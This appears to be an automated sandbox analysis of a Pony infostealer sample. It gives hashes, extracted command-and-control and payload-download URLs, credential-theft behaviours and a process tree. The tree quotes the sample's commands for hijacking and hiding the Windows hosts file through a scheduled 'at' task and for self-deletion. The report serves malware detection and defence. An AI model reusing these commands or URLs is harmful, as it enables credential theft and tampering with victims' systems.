Analysis
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max time kernel
94s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
01-12-2024 01:58
Static task
static1
Behavioral task
behavioral1
Sample
44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe
Resource
win10v2004-20241007-en
General
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Target
44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe
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Size
97KB
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MD5
97e81985565f8c9eccc806bcf07d2340
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SHA1
346ece09edfa54e816023bd580b4ea2410f4127d
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SHA256
44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91f
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SHA512
ca26242f709c1dcf169d9af473db7635ba379fdd6070139b9cbd407a4e1f585176ebda6d07c399dcaa7cc6c746be7956e2508b78e996a55444c322cbed9edc70
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SSDEEP
1536:DfoXnyQlxDehpNGLsmYTQsZ0SoHezUZUOBPXw+MebSMWz+CigO:syQlRePYYnQznHZWObbbCqCF
Malware Config
Extracted
pony
http://tjrtruj.pw:4915/doc/black.php
http://mtfaudj.pw:888/doc/black.php
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payload_url
http://fkewryu.pw:888/pic/Flash.exe
Signatures
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Pony family
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\tmp.tmp 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 1768 cmd.exe 4452 at.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2044 PING.EXE 3716 cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2044 PING.EXE -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeImpersonatePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeTcbPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeChangeNotifyPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeCreateTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeBackupPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeRestorePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeIncreaseQuotaPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeAssignPrimaryTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeImpersonatePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeTcbPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeChangeNotifyPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeCreateTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeBackupPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeRestorePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeIncreaseQuotaPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeAssignPrimaryTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeImpersonatePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeTcbPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeChangeNotifyPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeCreateTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeBackupPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeRestorePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeIncreaseQuotaPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeAssignPrimaryTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeImpersonatePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeTcbPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeChangeNotifyPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeCreateTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeBackupPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeRestorePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeIncreaseQuotaPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeAssignPrimaryTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeImpersonatePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeTcbPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeChangeNotifyPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeCreateTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeBackupPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeRestorePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeIncreaseQuotaPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeAssignPrimaryTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeImpersonatePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeTcbPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeChangeNotifyPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeCreateTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeBackupPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeRestorePrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeIncreaseQuotaPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe Token: SeAssignPrimaryTokenPrivilege 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1948 wrote to memory of 1768 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe 99 PID 1948 wrote to memory of 1768 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe 99 PID 1948 wrote to memory of 1768 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe 99 PID 1948 wrote to memory of 3716 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe 101 PID 1948 wrote to memory of 3716 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe 101 PID 1948 wrote to memory of 3716 1948 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe 101 PID 1768 wrote to memory of 4452 1768 cmd.exe 103 PID 1768 wrote to memory of 4452 1768 cmd.exe 103 PID 1768 wrote to memory of 4452 1768 cmd.exe 103 PID 3716 wrote to memory of 2044 3716 cmd.exe 104 PID 3716 wrote to memory of 2044 3716 cmd.exe 104 PID 3716 wrote to memory of 2044 3716 cmd.exe 104 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe"C:\Users\Admin\AppData\Local\Temp\44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:1948 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 02:02:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240641218aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\SysWOW64\at.exeat 02:02:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240641218aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:4452
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 6 localhost && erase "C:\Users\Admin\AppData\Local\Temp\44c1f5391c088eab32d9d9b2b5498721e34a87a9294c06e0b75234a70978f91fN.exe"2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\SysWOW64\PING.EXEping -n 6 localhost3⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2044
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3